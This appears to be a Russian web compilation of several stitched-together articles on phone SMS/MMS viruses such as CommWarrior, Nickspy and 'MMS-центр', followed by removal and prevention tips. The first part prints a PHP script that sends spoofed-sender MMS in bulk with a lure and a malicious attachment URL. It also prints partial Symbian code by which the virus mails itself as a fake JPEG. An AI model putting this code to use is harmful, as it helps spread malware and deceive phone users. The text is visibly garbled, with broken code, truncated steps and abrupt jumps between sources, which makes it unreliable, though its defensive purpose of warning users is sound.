Как удалить сообщение ммс с телефона. Внимание! Мошенники рассылают вирусы на Android по SMS и MMS

Использование популярного особенно среди молодежи MMS-сервиса таит в себе немало опасностей, о которых большинство пользователей, к сожалению, не подозревает.

В один прекрасный день вы можете получить MMS-сообщение или от вашего знакомого, или с неизвестного вам телефонного номера, или даже якобы от вашего сотового оператора. Откроете его и заразите свой телефон вирусом. В тексте зараженных MMS-сообщений может содержаться информация о том, что в приложении к нему находится бесплатная игра от вашего сотового оператора, новый рингтон от друга или архив с фотографиями от вашей дочери. Все это будет убеждать вас в необходимости скачать, установить или сохранить на карте памяти то, что было прислано в сообщении. Иногда в MMS-сообщении может находиться ссылка на какое-либо приложение или какой-то архив в Интернете.

MMS-сообщение, которое вы откроете на своем мобильном телефоне, не только может заразить ваш аппарат вирусом, но и разослать зараженные сообщения на номера телефонов из вашей записной книги.

Опаснее всего то, что когда ваш телефон будет заражен подобным образом, он сам станет атаковать абонентов мобильной связи из вашего списка контактов. То есть ваши друзья, знакомые или коллеги будут получать от вас MMS-сообщения с вирусом. В свою очередь пораженные сотовые телефоны ваших коллег начнут атаковать телефонные номера из своих адресных книг. Подобный процесс будет иметь лавинный характер и, в конечном итоге, может привести к массовым заражениям мобильных устройств.

В настоящее время подобные сценарии не очень распространены из-за того, что популярность MMS-сервисов недостаточно высока, а мобильный Интернет стоит дорого. Далеко не каждый пользователь станет закачивать себе на сотовый телефон прикрепленную программу или архив, предпочитая сделать это дома на стационарном компьютере, где это будет более экономично.

Тем не менее, в условиях падения цен на мобильный Интернет, появления безлимитных тарифов , популяризации MMS-сервиса, а также при соответствующем развитии вирусных технологий, подобные сценарии в будущем могут стать вполне реальными.

MMS (Multimedia Messaging Service) — это сервис передачи сообщений, который обеспечивает автоматическую мгновенную передачу личных мультимедийных сообщений на телефонный номер или на адрес электронной почты. Эта технология кардинально изменила набор услуг, которыми может пользоваться абонент при передаче сообщений. Однако с появлением новых возможностей появились и новые уязвимости.

Так как технология MMS позволяет передавать вместе с сообщением файл приложения, то этим механизмом тут же воспользовались вирусы для своего распространения. В данный момент уже существует подобный вирус. Он носит название CommWarrior. Вредоносная программа поражает телефоны Nokia серии 60 на базе операционной системы Symbian. примитивны и характерны для его аналогов на компьютере: вредоносный код передается на мобильное устройство в виде входящего MMS-сообщения с вложенным медиа-файлом — картинкой, аудио- или видеозаписью.

Внутри самого сообщения находится текст (всего выявлено 20 различных вариантов), который всячески побуждает абонента сотовой связи открыть вложенный файл. О том, как устроен сам вирус, будет рассказано позже, а пока рассмотрим, как злоумышленник может целенаправленно атаковать интересующий его мобильный телефон с помощью MMS. PHP-скрипт, представленный ниже, осуществляет запрос на отправку MMS-сообщения через коммерческий SMS-шлюз по протоколу http/https.

1 2 $user=»user»;
3 $password=»password»;
4 $api_id=»xxx»;
5 $text=urlencode(«Бесплатная игра от MegaPone, скачай и играй!»);
6 $to=»79035555555″;
7 $from=»MegaPone»;
8 $mms__url=»http://somesmscenter.ru/game.mms»;
9 $ret= file («http://smscenter.com/auth?user=$user&password=$password&apijd=$apijd»);
10 if ($ret ==»OK»){
11 for ($1=0; $i<100; $i++)
12 {
13 $ret= file («http://smscenter.com/sendmsg?to=$to8rtext=$text»);
414 if ($ret == «OK») echo «Success. Message was sent»;
15 }
16 }
17 else echo «Error. Message was not sent»;

Для злоумышленника передача сообщения через SMS-шлюз является предпочтительной тем, что он может указать в качестве отправителя номер, которому доверяет атакуемый, а в поле текста — сообщение, которое может побудить жертву открыть вложение. В параметре $mms_url он устанавливает адрес вредоносного содержимого, расположенного в Интернете. В параметре $from указывается номер абонента, а в поле $text — сам текст.

MMS-сообщения вируса Commwarrior содержат текст, побуждающий открыть сообщение, и файл commw.sis. Расширение прикрепленного файла SIS указывает на то, что файл является исполняемым для платформы Symbian — самой распространенной операционной системы для мобильных устройств в настоящее время.

Последняя версия вируса Commwarrior рассылает жертвам MMS со следующими сообщениями:

Заголовок: 3DNow!
Сообщение: 3DGame from me. It is FREE !

Заголовок: MatrixRemover
Сообщение: Matrix has you. Remove matrix!

Заголовок: Nokia ringtoner
Сообщение: Nokia RingtoneManager for all models.

После того, как содержащий Commwarrior SIS файл будет установлен, выполняемые файлы будут помещены в папку:

\system\apps\CommWarrior\commwarrior.exe
\system\apps\CommWarrior\commrec.mdl

При выполнении commwarrior.exe вирус копируется в папки

\system\updates\commrec.mdl
\system\updates\commwarrior.exe
\system\updates\commw.sis

После создания файла \system\updates\commw.sis вирус приступает к рассылке MMS-сообщений.

Рассмотрим некоторые детали механизма заражения с помощью MMS-сообщений. Приведенные отрывки программного «тела» вируса являются неполными из соображений безопасности, а сам разбираемый код относится лишь к отправке MMS-сообщений и никак не связан с вредоносной нагрузкой вируса.

Итак, сначала вирус создает сессию для работы с центром сообщений. Делается это с помощью следующего оператора.

iSession = CMsvSession::OpenAsyncL(*this);

Полученный идентификатор сессии используется для создания клиента, который будет обращаться к центру сообщений. Такой клиент создается следующим образом.

iMtmReg = CCIientMtmRegistry::NewL(*iSession);

Так как работа с центром сообщений ведется только для отправки MMS-сообщений, то необходимо выполнить преобразование созданного клиента в MMS-клиент.

iMmsMtm =mstatic_cast
(iMtmReg->NewMtmL (KUidMsgTypeMultimedia));

После того, как необходимая предварительная работа выполнена, вирус переходит к созданию самого MMS-сообщения. Для этого необходимо, во-первых, указать, что сообщение создается в каталоге «Черновики» мобильного телефона. Делается это следующим образом.

iMmsMtm->SwitchCurrentEntryL(KMsvDraftEntryld);

Метод SwitchCurrentEntryL, вызываемый с параметром Kmsv-DraftEntryld, показывает, что текущим местом создания как раз выбирается каталог «Drafts», то есть как раз каталог «Черновики». После того, как каталог определен, создается MMS-сообщение с параметрами «по умолчанию». Делается это с помощью следующего вызова:

iMmsMtm->CreateMessageL(iMmsMtm->DefaultServiceL())

Далее надо инициализировать основные поля сообщения MMS. Для этого с помощью макроса _LIT инициализируются основные переменные. В операционной системе Symbian макрос JLIT создает переменные. Таким образом, с его помощью определяются следующие переменные:

LIT(KSamsNumber, «07738123456»);
_LIT(KSamsAlias, «Sam»);
_LIT(KPetesNumber, «07812654321»);
_LIT(KMessageSubject, «Nokia ringtoner»);

Переменные могут носить произвольные имена. В приведенном примере в переменной KSamsNumber хранится номер атакуемого абонента, а в создаваемой переменной KSamsAlias хранится его имя, указанное в записной книжке. В переменную KPetesNumber вписывается номер отправителя, а в созданную переменную KMessageSubject записывается тема сообщения. После того как все переменные сформированы, осуществляется инициализация полей уже созданного MMS-сообщения. Делается это с помощью методов AddAddresseeL и SetSubjectL. Первому методу передается параметр EmsvRecipientTo, который определяет поле отправителя. Параметр EmsvRecipientCc инициализирует поле получателя.

iMmsMtm->AddAddresseeL(EMsvRecipientTo, KSamsNumber, KSamsAlias);
iMmsMtm->AddAddresseeL(EMsvRecipientCc, KPetesNumber);
iMmsMtm->SetSubjectL(KMessageSubject);

Для этого сначала создается переменная с именем прикрепляемого к сообщению файла. В рассматриваемом случае в MMS отправляется сам вирус. Поэтому в качестве имени файла указывается имя вирусной программы.

LIT(KFileName, «virus.sis»);

После того как переменная инициализирована, создается экземпляр класса TfileName, который описывает прикрепленное послание. С помощью метода Append созданного объекта attachmentFile инициализируются такие данные, как путь к файлу и имя самого файла.

TFileName attachmentFile(KPhoneRootPath);
attachmentFile.Append(KDirPictures);
attachmentFile. Append(KFileName);

После совершения этих действий вирус создает и описывает служебную информацию по типам прикрепленных файлов. Обычно вирус намеренно указывает неверный тип прикрепленного файла (mime-тип), например, JPG, чтобы пользователь не заподозрил атаку при передаче ему файла по MMS. Определяются mime типы с помощью следующего программного кода.

CMsvMimeHeaders* mimeHeaders = CMsvMimeHeaders::NewL();
CleanupStack::PushL(mimeHeaders);
mimeHeaders->
SetSuggestedFilenameL(KFileName);

TBufC8<10>
mimeType(KMimeType);

CMsvAttachment* attalnfo = CMsvAttachment::NewL(CMsvAttachment::EMsvFile);
CleanupStack::PushL(attalnfo);
_UT8(KMimeType, «image/jpeg»);
TBufC8<10> mimeType(KMimeType);

В приведенных выше строках описывается то, что к MMS-сообщению прикреплен только один файл. После того, как все необходимые приготовления выполнены, вызывается метод Create Attachment 2 L и MMS-сообщение создается.

iMmsMtm->CreateAttachment2L(
* store,
attachment,
mimeType,
*mimeHeaders,
attalnfo,
attachld);
CleanupStack::Pop(attalnfo);
CleanupStack::PopAndDestroy(mimeHeaders);

формирование сообщения завершается с помощью следующих программных строк.

store->CommitL();
attachment.Close();
CleanupStack::PopAndDestroy(attachment);
CleanupStack::PopAndDestroy(store);

Само сообщение сохраняется после полной подготовки с помощью метода SaveMessageL().

iMmsMtm->SaveMessageL();

Наконец отправка сообщения осуществляется следующим образом.

Таким образом, вирус является самораспространяющимся. Описывать, как реализуется вредоносная часть вируса, которая пересылает ваши персональные данные с телефона, мы не будем по понятным причинам. Наша цель — предупредить пользователя о существующей опасности, а не научить злоумышленника создавать вирусы.

ЗАЩИТА ОТ АТАКИ

Для того чтобы обезопасить свой сотовый телефон, необходимо быть крайне аккуратным при получении MMS-сообщения. Помните, что прикрепленное к сообщению вложение вполне может оказаться вирусом. Именно поэтому далеко не всегда стоит принимать MMS-сообщения от незнакомых абонентов. Если же сообщение представляет для вас интерес, то стоит обязательно просканировать приложение антивирусным средством на предмет наличия вирусов.

Если вирус все же попал на ваше мобильное устройство, то возможность безболезненно от него избавиться все же существует. Вы можете лично удалить вредоносный файл, если знаете, где его найти. В случае, если вас атаковал неизвестный вирус, то придется потратить много времени, чтобы его обнаружить. При этом необходимо быть аккуратным, чтобы случайно не удалить системные файлы.

Для того чтобы самостоятельно удалить вирус Commwarrior, необходим менеджер файлов с возможностью просмотра системных каталогов. С помощью этого менеджера можно удалить из памяти мобильного телефона вирусную папку \system\apps\commwarrior, с находящимися в ней специальными файлами вируса commwarrior.exe и commrec. mdl. В каталоге \system\updates\commwarrior необходимо удалить ключевые вирусные файлы commwarrior.exe, commrec.mdl и commw.sis. В каталоге \system\recogs удалению подлежит файл commrec.mdl.

Итак, вы решили покончить с войной и удалить СМС-вирус, ММС-вирус с Андроида или любого другого телефона. Почему же такой вид «оружия» является столь популярным в среде хакеров? Ответ здесь простой: это их работа. Вам покажется это смешным, ведь это на самом деле чистое воровство. Конечно, так и есть, ведь ситуация похожа с обычными карманными ворами, которые крадут ваши деньги, сумки, кошельки и другие ценные сбережения. Только для этих мошенников ничего кроме компьютера не нужно: они пишут вредоносный код, отправляют его тысячам людей и получают деньги. При этом они даже могут не выходить из дома.

Вирусы могут распространяться не только через интернет, но и с помощью SMS-сообщений

Не будем сильно углубляться в эту проблему и перейдём, собственно, к теме нашего сегодняшнего обсуждения. Для начала необходимо узнать о том, какие вирусы бывают, чтобы потом правильно выбрать методы борьбы с таким существом, как SMS-вирус. Поехали!

Какие бывают СМС и ММС вирусы?

Самый популярный СМС-вирус - сообщение якобы по объявлению с Авито (особенно часто попадаются люди, у которых есть товары на доске объявлений). В таком сообщении содержится информация по обмену со ссылкой. Естественно, по этой ссылке переходить ни в коем случае нельзя. Так вы загрузите троянскую программу, которая навредит вашему телефону.
- программное обеспечение «Nickspy» (Trojan-Spy.AndroidOS.Nickspy), который записывает ваши телефонные разговоры, сохраняет их в какой-нибудь папке на устройстве, затем при подключении к интернету отправляет их прямо в руки к хакерам, на определённый сервер. Такой вредоносный код способен ещё на очень многое: считывание SMS и ММС-сообщений, приём звонков с целью записи происходящего вокруг смартфона, геолокационные данные (где вы находитесь) и так далее. Как вы видите, такой код очень опасен. Неизвестно для каких целей такая информация собирается хакерами.
Ещё одна программа - детище российских программистов - Antammi, являющаяся так же троянским вирусом. Она представлена в виде обычного приложения, которое даёт возможность пользователю скачать на смартфон рингтоны. Пока вы, ничего не подозревая, обновляете свою библиотеку мелодий для звонка, Antammi загружает на сервера злоумышленников всевозможную информацию с вашего устройства: фотографии, документы, контакты, сообщения и так далее.
Наверное, каждый получал сообщение о том, что некий абонент отправил вам ММС-подарок или письмо. Естественно, что при переходе по ссылке вы загружаете на свой телефон программу, которая получает доступ к некоторым функциями в телефоне. Такое приложение может без всяких проблем отправить несколько сообщений на специальные платные номера, а вам потом придётся расплачиваться за них. Тоже весьма популярный СМС-вирус.
Ещё один вид троянских похождений - приложение, снижающий уровень аккумулятора смартфона. Как это происходит? Часто, такой вирус скрывается под совершенно противоположным программным обеспечением, которое обещает увеличить время работы телефона от батареи. Естественно, что никаких подобных услуг приложение не предоставляет. Оно, наоборот, сажает батарею хозяину путём отправки SMS на платные номера. То есть, вы невольно являетесь подписчиков разных сервисов, которые забирают ваши деньги.
Пожалуй, самый страшный и опасный мелкий вредоносный код или троянская программа - это приложение по подтверждению банковских операций. Сколько проблем можно получить из-за работы такого кода - не сосчитаешь пальцами. Как же работает эта система? Такие программы работают далеко не в одиночку, так как им нужна программа-помощник, чтобы подтверждать сообщениями банковские операции. Это не страшно, если на карте не так много денег, но если у вас есть достаточно большое количество средств, то уже надо быть на страже.

Как вы могли заметить, все эти вирусы нацелены на ваши деньги. Почему это так? Всё дело в том, что некоторые люди не могут заработать деньги честным способом и пытаются их украсть. Хотя осуждать их в этом сложно, так как в современном мире на честном заработке живёт очень мало людей.

Как удалить вирус с телефона?

Если у вас появилась шпионская программа на телефоне Андроид , то от неё нужно немедленно избавиться! Как это сделать?

Изначально, лучше вытащить сим-карту из устройства и выключить wi-fi, чтобы у телефона не было возможности выйти в глобальную сеть (Интернет). Так вы избежите дополнительных расходов.
Если вам пришло просто сообщение, как, например, в первом пункте предыдущего обсуждения о видах вирусов, то достаточно не переходить по ссылке и удалить сообщение.
Установите антивирусное программное обеспечение на свой телефон и просканируйте систему на наличие вредоносных файлов и кодов. Если приложение их обнаружит и предложит удалить, то вы незамедлительно делаете это.
Если у вас установлена программа, и вы знаете какая именно из них вредоносная, то удалите её через соответствующее меню в настройках. Если нет, то посмотрите в списке самую странную и подозрительную.
Можете попробовать просканировать устройство с помощью антивируса на компьютере . Только не открывайте диск телефона или флешку, ибо так вы рискуете получить вирус на компьютер.
Попробуйте сделать сброс телефона до заводских настроек. Но помните, что хранящаяся информация в памяти смартфона может быть удалена. Тогда стоит позаботиться о резервном копировании данных. Таким же образом можете сделать hard reset через рекавери-меню или же полную перепрошивку устройства. С флеш-карты информация удалена не будет.
Если у вас вирус находится в виде отдельного файла, то попытайтесь удалить его штатными средствами. Или же вы можете прибегнуть к помощи компьютера, где вы также сможете это сделать. Только не забываем, что таким образом можно заразить и настольное устройство или ноутбук.

В любом случае после применения какого-либо из этих методов, обязательно сканируем телефон антивирусной программой ещё раз. Перестраховаться никогда не бывает лишним, но зато вы будете уверены, что следов вредоносного кода больше не осталось.

Как предостеречь себя от вредоносных программ?

Никогда не открывайте ссылки, которые присылают в подозрительных сообщениях вам на телефон. Даже если это приходит от ваших контактов - ни в коем случае не переходите по ссылкам. Если вам прям очень сильно хочется это сделать, то спросите у вашего контакта, что находится в отправленном письме. Если, конечно, ваш друг сам не стал злоумышленником. Помните, что это - SMS-вирус.
Никогда не устанавливайте приложения со сторонних ресурсов. Пользуйтесь только официальными магазинами приложений: AppStore, Google Play, Market Place. Это значительно снизит риск получения вирусов на ваше устройство Андроид.
Даже при скачивании с официальных магазинов внимательно читайте, что именно вы скачиваете. Не грузите программы от неизвестных и подозрительных разработчиков. Особо можно не смотреть на отзывы, так как их достаточно легко купить на специальных площадках. Если это аналог платного приложения, то лучше не экономить и приобрести нормальную программу, чем потом кусать локти.
Своевременно устанавливаете обновления программного обеспечения вашего устройства. В них часто команда разработчиков закрывает «дырки», тем самым увеличивая защиту гаджета на программном уровне.
Пользуйтесь антивирусами. Иногда проверяйте на наличие вредоносных кодов.

Так выглядит SMS-вирус

Заключение

Сегодня мы с вами попытались решить такую проблему, как СМС-вирус на телефоне Андроид. Надеемся, что вы смогли побороть его в этой нелёгкой схватке между человеком и машиной. Обязательно примите к сведению рекомендации, которые помогут вам предостеречь себя от подобных проблем в дальнейшем. Не умаляйте работу антивирусных программ на телефоне, потому что зачастую они очень сильно выручают пользователей. Делимся в комментариях своими историями, расскажите какой вирус вы поймали, как вы его побороли. Всего хорошего вам, дорогие читатели!

ММС-центр в пакетах мобильного оператора Билайн необходим для отправки и получения контента (фото, видео, картинок, документов) на телефоне посредством предоставляемой сотовой связи. Однако в последнее время на андроид-устройствах участились случаи заражения вирусом, который выдаёт себя за доверенную службу ММС. Многие пользователи, не подозревая присутствие такой «маскировки», задаются вопросом, как удалить MMS-центр Билайн. Но на самом деле перед ними стоит задача куда более серьёзней - им нужно удалить вирус.

Эта статья поможет вам разобраться с ММС-службой на телефоне: вы узнаете, как функционирует доверенный сервис и замаскированный вирус.

Настоящий MMS-центр

Как уже и говорилось в начале статьи, данная служба занимается отправкой данных через коммуникационные каналы оператора. В этом формате (ММС) можно пересылать файлы объёмом до 500 кб, а также текстовые послания размером не больше 1000 знаков. Отправка контента возможна как внутри сети оператора, так и в сети других компаний. В том числе, в режиме роуминга (за пределами территории России).

Чтобы воспользоваться услугой MMS, её необходимо активировать:

1. Перед тем как приступить к активации, убедитесь в том, что ваше мобильное устройство поддерживает работу с медиаконтентом (просмотр картинок, видео и т.д.).

2. Отправьте USSD-запрос на подключение - *110*181#.

Примечание. Билайн после отправки этой команды предоставляет вместе с MMS также и мобильный GPRS.

3. Закажите автоматическую настройку MMS в вашем телефоне при помощи сервисной службы 0880.

Примечание. Также вы можете ознакомиться с настройкой по номеру 060432 (пункт «Настройки»).

4. Перезагрузите телефон для завершения его регистрации в сервисе ММС.

Осторожно: MMS-центр - вирус!

Чтобы убрать это вирусное приложение, выполните следующие действия:
1. Перезапустите мобильное устройство в безопасном режиме. Если вы не знаете, как выполняется эта процедура, найдите в интернете руководство по её выполнению именно для вашей модели телефона.

Очень многие пользователи подхватили на своих Андроид устройствах вирус-приложение SMS/MMS New, которое вызывает неизвестные уведомления, может отправлять платные сообщения, отслеживать личные данные и звонки. Помимо всего этого некоторые пользователи получают сообщение о сбое стандартной опции – “В приложении SMS/MMS произошла ошибка” . В нашей небольшой статье мы собрали все самые полезные и действенные решения, которые помогут удалить этот вирус из телефона.

Вирусные СМС сообщения

Как удаляются вирусы

Вирусы, ориентированные на захват функции отправки сообщений в Андроиде, распространяются уже давно. Так, до сих пор через данные с Авито распространяется зловред ММС-центр . Удаляется такой вирус через запуск безопасного режима в телефоне, после проходите в Настройки – функция Безопасность – опция Администрирование – Администраторы устройств, где снимается галочка с программы. После следует стандартное удаление через Диспетчер.

Сейчас же активничает троянское приложение SMS/MMS New . Источников распространения очень много, в основном это популярный софт и рассылка сообщений (со ссылками типа http://mms-new.ru/id169). Удаляется этот троян подобно ММС-центру:

Следует в безопасном режиме выполнить вышеописанные действия и проверить в Администраторы устройств вирус New и если есть снять галочку.
После запустите сканирование мобильным антивирусом Dr.Web Light . Применить можно и другие сканеры, но я рекомендую именно доктора – базы уж очень актуальные у него.
Далее удалите все предустановленные программы и загрузки. Также сделайте сброс стандартных настроек приложений СМС/ММС в телефоне.

В приложении SMS/MMS произошла ошибка – как исправить

Такие вирусы после себя могут оставить сбой в системном приложении. Чаще всего такой сбой вызван сбитыми настройками. После попытки отправить сообщение, пользователи получают уведомление, что в приложении смс/ммс произошла ошибка.

Сегодня в сети гуляет множество вирусов, троянов и бэкдоров. Только за последние годы количество атак увеличилось в 5 раз. Так, совсем недавно по мобильным устройствам многих пользователей стала расползаться новая угроза – вирусная программа СМС-послание. Сегодня мы расскажем, насколько она опасна для человека, его телефона и денег на счету. Мы покажем общее решение, которое следует выполнить для удаления приложения.

Что это такое?

Приложение СМС-послание – это опасная вирусная программка, неприметно работающая в фоне. Её основная цель – перехват личных данных с телефонов, отправка “дорогих” сообщений, отслеживание онлайн-банкинга. Проникать в ОС Андроид зловред может самыми разными способами.

Для начала кратко опишем пути проникновения:

После того, как загрузчик проникает в телефон, он начинает в фоне загружать вирусные программки. Отследить такие процессы довольно таки сложно, как собственно и найти их в куче папок. Основная опасность – это личные данные и мобильный счет. Многие пользователи жалуются, что идет автоматическая рассылка, за которую списывается большая часть денег со счета.

Удаляем SMS-послание из телефона

Итак, дальше мы покажем общий алгоритм удаления подобных угроз из телефона. В зависимости от модели телефона и версии Андроида некоторые пути и опции в названии могут отличаться, но с логикой, я думаю, все в порядке.

Заключение

Такие методы позволяют убрать не только вирусы типа СМС-Послание, но и другие подобные зловреды. Еще раз напомню – важно найти процесс загрузчика и удалить его. Конкретно с путем его размещения не подскажу. Если вы его обнаружили, просьба отписаться в комментариях.